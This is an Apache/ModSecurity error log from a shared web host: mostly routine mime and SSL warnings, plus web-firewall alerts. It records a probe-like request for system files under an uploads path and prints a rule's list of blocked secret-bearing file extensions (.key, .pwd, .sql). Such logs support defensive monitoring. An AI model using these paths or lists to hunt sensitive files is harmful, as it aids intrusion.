[Fri Jul 17 10:21:08.804834 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:08.905451 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:09.006196 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:09.107613 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:09.208404 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:09.412358 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:09.511968 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:09.612853 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:09.862378 2026] [security2:error] [pid 2075728:tid 2075728] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.anandaobauae.org"] [uri "/backup/img/sudgestions icon.png"] [unique_id "alm0vW4QbEUIiqCvQml48AAAAAQ"]
[Fri Jul 17 10:21:09.862761 2026] [security2:error] [pid 2075728:tid 2075728] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/backup/img/sudgestions icon.png"] [unique_id "alm0vW4QbEUIiqCvQml48AAAAAQ"]
[Fri Jul 17 10:21:09.886865 2026] [security2:error] [pid 2075728:tid 2075728] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/backup/img/sudgestions icon.png"] [unique_id "alm0vW4QbEUIiqCvQml48AAAAAQ"]
[Fri Jul 17 10:21:10.821482 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:10.966568 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:11.145946 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:11.187332 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:11.260260 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:11.288486 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:11.403971 2026] [security2:error] [pid 2075908:tid 2075908] [client 216.73.216.245:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/dovecot/example-config/conf.d/90-sieve-extprograms.conf"] [unique_id "alm0v0j_u9-aE9qeQW0cMAAAAAk"]
[Fri Jul 17 10:21:11.404453 2026] [security2:error] [pid 2075908:tid 2075908] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/dovecot/example-config/conf.d/90-sieve-extprograms.conf"] [unique_id "alm0v0j_u9-aE9qeQW0cMAAAAAk"]
[Fri Jul 17 10:21:11.430385 2026] [security2:error] [pid 2075908:tid 2075908] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/dovecot/example-config/conf.d/90-sieve-extprograms.conf"] [unique_id "alm0v0j_u9-aE9qeQW0cMAAAAAk"]
[Fri Jul 17 10:21:11.466836 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:11.512713 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:11.601250 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:11.671311 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:12.142674 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:12.245061 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:12.447592 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:12.547277 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:12.649799 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:12.851749 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:12.952775 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:13.329916 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:13.557273 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:13.560709 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:13.659117 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:13.762122 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:14.064837 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:14.165438 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:14.468504 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:14.671344 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:14.771783 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:14.975147 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:15.074318 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:15.176237 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:15.276872 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:15.822002 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:15.822489 2026] [security2:error] [pid 2075691:tid 2075691] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/licenses/popt/"] [unique_id "alm0w5-MjlCH45ePojRJHwAAABE"]
[Fri Jul 17 10:21:15.822530 2026] [security2:error] [pid 2075691:tid 2075691] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/licenses/popt/"] [unique_id "alm0w5-MjlCH45ePojRJHwAAABE"]
[Fri Jul 17 10:21:16.546795 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:16.653433 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:16.668020 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:16.717316 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:17.021428 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:18.030492 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:18.604590 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:18.643406 2026] [ssl:error] [pid 2075901:tid 2075901] (70014)End of file found: [client 66.85.158.91:42632] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:21:19.489417 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:19.941116 2026] [mime:warn] [pid 2076179:tid 2076179] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:19.948411 2026] [ssl:error] [pid 2075904:tid 2075904] (70014)End of file found: [client 66.85.158.91:42686] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:21:20.052820 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:20.354911 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:20.658559 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:20.815878 2026] [security2:error] [pid 2076194:tid 2076194] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.anandaobauae.org"] [uri "/anandaV4/css/"] [unique_id "alm0yJT6UchYzP7t8WhK9gAAABI"]
[Fri Jul 17 10:21:20.816443 2026] [security2:error] [pid 2076194:tid 2076194] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/anandaV4/css/"] [unique_id "alm0yJT6UchYzP7t8WhK9gAAABI"]
[Fri Jul 17 10:21:20.816979 2026] [security2:error] [pid 2076194:tid 2076194] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/anandaV4/css/"] [unique_id "alm0yJT6UchYzP7t8WhK9gAAABI"]
[Fri Jul 17 10:21:22.004916 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:23.184579 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:23.285559 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:23.422046 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:23.994992 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:24.115407 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:24.316872 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:24.524808 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:24.838967 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:24.910351 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:24.929518 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:25.058487 2026] [security2:error] [pid 2075690:tid 2075690] [client 61.245.170.159:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-global": Permission denied [hostname "manaharasupercenter.lk"] [uri "/wp-content/themes/th-shop-mania/js/th-shop-mania-menu.js"] [unique_id "alm0zRyL4_TKNgi7OLI22QAAAB4"], referer: https://manaharasupercenter.lk/product/electric-coconut-scraper-243/
[Fri Jul 17 10:21:25.058529 2026] [security2:error] [pid 2075690:tid 2075690] [client 61.245.170.159:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-ip": Permission denied [hostname "manaharasupercenter.lk"] [uri "/wp-content/themes/th-shop-mania/js/th-shop-mania-menu.js"] [unique_id "alm0zRyL4_TKNgi7OLI22QAAAB4"], referer: https://manaharasupercenter.lk/product/electric-coconut-scraper-243/
[Fri Jul 17 10:21:25.141806 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:25.244092 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:25.545743 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:25.750316 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:25.861718 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:25.951215 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:26.052415 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:26.360794 2026] [ssl:error] [pid 2076188:tid 2076188] (70014)End of file found: [client 66.85.158.91:53574] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:21:26.457167 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:26.557388 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:26.712897 2026] [ssl:error] [pid 2076179:tid 2076179] (70014)End of file found: [client 66.85.158.91:53592] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:21:26.868833 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:27.398845 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:27.478195 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:28.087979 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:28.897590 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:29.333289 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:30.116189 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:30.218338 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:30.887142 2026] [security2:error] [pid 2075904:tid 2075904] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/anandav2/calender/css/"] [unique_id "alm00juaDdNRw9_WO14xXQAAAAg"]
[Fri Jul 17 10:21:30.887515 2026] [security2:error] [pid 2075904:tid 2075904] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/anandav2/calender/css/"] [unique_id "alm00juaDdNRw9_WO14xXQAAAAg"]
[Fri Jul 17 10:21:30.902972 2026] [security2:error] [pid 2075904:tid 2075904] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/anandav2/calender/css/"] [unique_id "alm00juaDdNRw9_WO14xXQAAAAg"]
[Fri Jul 17 10:21:30.926921 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:31.028555 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:31.163285 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:31.438069 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:31.538312 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:31.685130 2026] [ssl:error] [pid 2075728:tid 2075728] (70014)End of file found: [client 66.85.158.91:46992] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:21:32.043610 2026] [mime:warn] [pid 2076179:tid 2076179] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:32.398317 2026] [mime:warn] [pid 2076179:tid 2076179] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:32.460846 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:32.618912 2026] [ssl:error] [pid 2076258:tid 2076258] (70014)End of file found: [client 66.85.158.91:47382] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:21:32.659217 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:32.873216 2026] [mime:warn] [pid 2076179:tid 2076179] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:32.962454 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:33.063196 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:33.669477 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:33.776539 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:34.126722 2026] [ssl:error] [pid 2076231:tid 2076231] (70014)End of file found: [client 66.85.158.91:47496] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:21:34.175185 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:34.417704 2026] [ssl:error] [pid 2075901:tid 2075901] (70014)End of file found: [client 66.85.158.91:47524] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:21:34.680591 2026] [mime:warn] [pid 2076179:tid 2076179] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:34.983593 2026] [mime:warn] [pid 2076241:tid 2076241] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:35.086280 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:35.286141 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:35.597294 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:35.699679 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:35.902256 2026] [mime:warn] [pid 2076241:tid 2076241] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:36.002804 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:36.305380 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:36.408481 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:36.712575 2026] [mime:warn] [pid 2076179:tid 2076179] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:36.779963 2026] [ssl:error] [pid 2076188:tid 2076188] (70014)End of file found: [client 66.85.158.91:47626] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:21:36.812087 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:36.916002 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:37.015318 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:37.421189 2026] [mime:warn] [pid 2076241:tid 2076241] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:37.519398 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:37.729331 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:37.826693 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:37.927631 2026] [mime:warn] [pid 2076241:tid 2076241] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:38.138280 2026] [mime:warn] [pid 2076241:tid 2076241] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:38.238640 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:38.542781 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:38.649153 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:38.872265 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:38.951884 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:39.156356 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:39.256720 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:39.358449 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:39.458803 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:21:39.530559 2026] [security2:error] [pid 2076241:tid 2076241] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/Fact_Sheet_WH_Poliomyelitis.pdf"] [unique_id "alm0218RpR1iv5d0wnIfzAAAABQ"]
